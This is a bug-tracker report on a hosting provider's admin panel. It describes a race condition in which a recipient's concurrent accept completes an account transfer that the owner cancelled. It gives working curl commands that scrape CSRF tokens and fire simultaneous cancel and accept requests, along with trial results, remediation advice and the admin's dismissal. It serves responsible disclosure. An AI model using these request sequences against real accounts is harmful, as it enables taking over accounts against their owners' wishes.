Security vulnerabilities

  • Status Closed
  • Assigned To
    cbay
  • Private
Attached to Project: Security vulnerabilities
Opened by arise01x - 02.10.2026
Last edited by cbay - 02.10.2026

FS#512 - Account-transfer cancel and accept are not mutually exclusive

# Account-transfer cancel and accept are not mutually exclusive — a concurrent accept completes a transfer the owner cancelled (bypass of the #151/#156 fixes)

Severity: Medium
Affected: `POST https://admin.alwaysdata.com/transfer/<id>/cancel/` and `POST https://admin.alwaysdata.com/transfer/<id>/accept/`
Same root cause: `POST https://admin.alwaysdata.com/transfer/add/?_field_type=account` (the "one pending transfer per account" guard is racy)
Related: #156 ("Block concurrent transfer requests … conflict check", closed fixed) and #151 ("pending invitations invalidated upon transfer", closed fixed) — this report is a concurrency bypass of both guarantees

## Summary
The cancel and accept state transitions of an account-transfer request are not mutually exclusive. When the owner's cancel and the recipient's accept are submitted at the same instant, both commit: the cancel returns its success redirect and the panel shows *"The transfer has been cancelled."*, the accept returns its success redirect, and the account is nevertheless transferred to the recipient (with all its resources — sites, domains, mailboxes, databases, SSH). Sequentially the two are exclusive (cancel-then-accept → `404` on the accept; accept-then-cancel → `403` on the cancel), so only the concurrent window is at issue — the same non-atomic state-transition class as #279.

Two supporting defects in the same fix family:
1. The concurrent-request guard on transfer creation is also racy: parallel creates for the same account produced 2/4, 3/4 and 4/4 simultaneous pending records, while a sequential second attempt is refused ("Select a valid choice. That choice is not one of the available choices." — the account is removed from the form's selectable set while a transfer is pending).
2. `cancel` revokes only the record it names. With duplicates pending (per defect 1), cancelling one leaves the siblings listed and acceptable; accepting a surviving sibling moved the account — i.e. the revoked transfer still completed.

## Preconditions
Two accounts owned by the tester on the same platform: A (current owner / sender) and B (invited recipient). No third party is involved; ownership was reverted after every run. Testing was on the free plan, where only `_field_type=account` records can be created (the `site`/`domain` selects are empty for accounts without custom domains) — so the account-type transfer is the path exercised here; it is the same create/cancel/accept code path.

## Steps to reproduce
All requests must reuse a logged-in cookie jar per account (`-b jar -c jar`); the transfer record id must be a *fresh, pending* record created in step 1. (A stale/cancelled/consumed id returns `403` on cancel by design — that is the consumed-record signature, not the bug.)

1. A creates a transfer of A's account to B:

 ```
 TOK=$(curl -b jarA -c jarA -s 'https://admin.alwaysdata.com/transfer/add/?_field_type=account' \
       | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | cut -d'"' -f4)
 curl -b jarA -c jarA -s -o /dev/null -w 'create=%{http_code}\n' -X POST \
   -H 'Referer: https://admin.alwaysdata.com/transfer/add/?_field_type=account' \
   --data-urlencode "csrfmiddlewaretoken=$TOK" --data-urlencode "account=<A account id>" \
   --data-urlencode "email=<B email>" --data-urlencode "submit=Submit" \
   'https://admin.alwaysdata.com/transfer/add/?_field_type=account'
 ID=$(curl -b jarA -c jarA -s https://admin.alwaysdata.com/transfer/ \
      | grep -o '/transfer/[0-9]*/' | grep -o '[0-9]*' | sort -n | tail -1)   # the new pending record
 ```
 → `create=302`; the record is listed for both parties; B's transfer page serves an accept form.

2. CSRF tokens for cancel/accept must come from each side's `/transfer/` LIST page (the cancel/accept URLs themselves contain no token):

 ```
 TOK_A=$(curl -b jarA -c jarA -s https://admin.alwaysdata.com/transfer/ | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | cut -d'"' -f4)
 TOK_B=$(curl -b jarB -c jarB -s https://admin.alwaysdata.com/transfer/ | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | cut -d'"' -f4)
 ```

3. Owner cancels, recipient accepts — fired together (shell `&`; a thread barrier in a script is more deterministic):

 ```
 curl -b jarA -c jarA -s -o /dev/null -w 'cancel=%{http_code}\n' -X POST \
   -H "Referer: https://admin.alwaysdata.com/transfer/" \
   --data "csrfmiddlewaretoken=$TOK_A&submit=yes" \
   "https://admin.alwaysdata.com/transfer/$ID/cancel/" &
 curl -b jarB -c jarB -s -o /dev/null -w 'accept=%{http_code}\n' -X POST \
   -H "Referer: https://admin.alwaysdata.com/transfer/" \
   --data "csrfmiddlewaretoken=$TOK_B&submit=yes" \
   "https://admin.alwaysdata.com/transfer/$ID/accept/" &
 wait
 ```

4. Verify from B's own session: `GET /transfer/add/?_field_type=account` now lists A's account id in the recipient's select, although the owner's cancel returned `302` and A's panel showed *"The transfer has been cancelled."* (A GET of `/transfer/` immediately after the cancel shows the confirmation; A's own select no longer lists the account.)

### Observed (race)
Barrier-based run, 5 trials, fresh record per trial:
```
trial 1: record=… cancel=(302) accept=(302) cancel_flash='The transfer has been cancelled.' MOVED=True
trial 2: record=… cancel=(302) accept=(302) cancel_flash='The transfer has been cancelled.' MOVED=True
trial 3: record=… cancel=(302) accept=(302) cancel_flash='(no flash)' MOVED=False (accept 404)
trial 4: record=… cancel=(302) accept=(302) cancel_flash='(no flash)' MOVED=False (accept 404)
trial 5: record=… cancel=(302) accept=(302) cancel_flash='(no flash)' MOVED=False (accept 404)
RESULT: 2/5 trials moved the account
```
Earlier runs: 3/3 moved, and 4/4 moved (shell `&`). Overall 9/12 documented race attempts moved the account after the owner's cancellation; when the cancel wins instead, the accept receives its normal `404`. `MOVED=True` was verified from the recipient's own `/transfer/add/?_field_type=account` select containing the owner's account id, and the owner's panel listing no accounts. Ownership was reverted after every successful move (transfer in the opposite direction).

### Supporting defect 1 — racy create-guard (4 parallel creates for the same account)
```
parallel #0: (302) parallel #1: (302) parallel #2: (200) parallel #3: (302)
PENDING RECORDS: ['5098','5099','5100'] (sequential second create → refused)
```

### Supporting defect 2 — cancel revokes only the named record
With records `[5103..5106]` pending, cancelling only `5103` left `5104`/`5105`/`5106` listed for both parties and their accept form live (`GET /transfer/5104/accept/ → 200`); accepting `5104` moved the account. Positive control: when a transfer *completes*, the acceptance does invalidate all sibling records — accepts of `5099`/`5100` returned `404` afterwards.

## Impact
- The owner's cancellation is not authoritative. A recipient who was invited — or whose invitation the owner is revoking (e.g. sent by mistake) — can complete the transfer in the same instant the owner cancels: the owner sees *"The transfer has been cancelled."* while the account and all of its resources move to the recipient.
- The same root cause defeats #156's invariant ("concurrent transfer requests for the same account must be impossible"): the guard is racy, and duplicate records further weaken revocation, because cancelling one record does not revoke the transfer.
- Not bounded by brute force or scanning: a handful of requests per attempt; the only condition is that the recipient races their accept into the cancel window (the recipient is a legitimate party to the request).

## Remediation
- Make the state transition atomic and single-writer, e.g. `UPDATE transfer_request SET state='cancelled', … WHERE id=? AND state='pending'` and treat `rowcount == 0` as "already consumed" (same for accept); serialize both operations on the record row (`SELECT … FOR UPDATE` or an equivalent compare-and-set), so exactly one of cancel/accept wins and the loser observes the state it actually landed in.
- `cancel` (on either side, and especially by the owner) should atomically revoke all pending records for the account, not only the named one.
- Enforce "one pending transfer per account" with a uniqueness/constraint checked at commit time (and by the conditional insert), not only by excluding the account from the form's choices.
- Defence in depth: return a distinct error when a losing operation hits a non-pending record (a consumed-record cancel currently returns an opaque `403`).

Closed by  cbay
02.10.2026 07:05
Reason for closing:  Invalid
02.10.2026: A request to reopen the task has been made. Reason for request: Thanks — but this isn't a case of an accept winning while a cancel is irrelevant; it's a conflict-check failure where both operations commit. ▎ ▎ Sequentially there is no accept priority: whichever commits first wins. Accept first → the later cancel returns 403; cancel first → the later accept returns 404. In the concurrent case both return success: the cancel returns 302 and the owner's panel shows "The transfer has been cancelled.", while the same-instant accept also returns 302 and the account moves. Both-committing is impossible under either rule — it is the non-atomic state-transition class you already fixed for the reset token (#279) and the transfer conflict check (#156). ▎ ▎ That window is precisely what the cancel exists for: the owner's cancel is the last revocation step — once the transfer completes the owner cannot undo it (only the new owner can transfer back). In the scenario this endpoint protects against — a transfer mistakenly sent to the wrong user, the owner cancels promptly, the recipient accepts on their side at the same instant — the account moved in 9 of 12 recorded collisions (3/3, 4/4, 2/5 across runs) while the owner was told the cancellation succeeded. ▎ ▎ This is the same class as #151 and #156 ("valid and fixed"), where an acceptance landing out-of-time in the transfer flow moved ownership against the owner's intent — the difference here is only that the gap is the cancel/accept window instead of a stale invitation. ▎ ▎ Fix: one atomic compare-and-set on the record state (UPDATE … WHERE state='pending'; rowcount=0 ⇒ the loser sees the true outcome). Separately, the report's two supporting defects (parallel creates still yield duplicate pending records; cancel revokes only the named record) are the same missing conflict check. Happy to retest after any change.
Admin
cbay commented on 02.10.2026 07:05

Hello,

If a transfer has been accepted, the account will be transferred. Someone else refusing the transfer at the exact same time is irrelevant.

Kind regards,
Cyril

Thanks — but this isn't a case of an accept winning while a cancel is irrelevant; it's a conflict-check failure where both operations commit.
▎
▎ Sequentially there is no accept priority: whichever commits first wins. Accept first → the later cancel returns 403; cancel first → the later accept returns 404. In the concurrent case both return success: the cancel returns 302 and the owner's panel shows "The transfer has been cancelled.", while the same-instant accept also returns 302 and the account moves. Both-committing is impossible under either rule — it is the non-atomic state-transition class you already fixed for the reset token (#279) and the transfer conflict check (#156).
▎
▎ That window is precisely what the cancel exists for: the owner's cancel is the last revocation step — once the transfer completes the owner cannot undo it (only the new owner can transfer back). In the scenario this endpoint protects against — a transfer mistakenly sent to the wrong user, the owner cancels promptly, the recipient accepts on their side at the same instant — the account moved in 9 of 12 recorded collisions (3/3, 4/4, 2/5 across runs) while the owner was told the cancellation succeeded.
▎
▎ This is the same class as #151 and #156 ("valid and fixed"), where an acceptance landing out-of-time in the transfer flow moved ownership against the owner's intent — the difference here is only that the gap is the cancel/accept window instead of a stale invitation.
▎
▎ Fix: one atomic compare-and-set on the record state (UPDATE … WHERE state='pending'; rowcount=0 ⇒ the loser sees the true outcome). Separately, the report's two supporting defects (parallel creates still yield duplicate pending records; cancel revokes only the named record) are the same missing conflict check. Happy to retest after any change.

Loading...

Available keyboard shortcuts

Tasklist

Task Details

Task Editing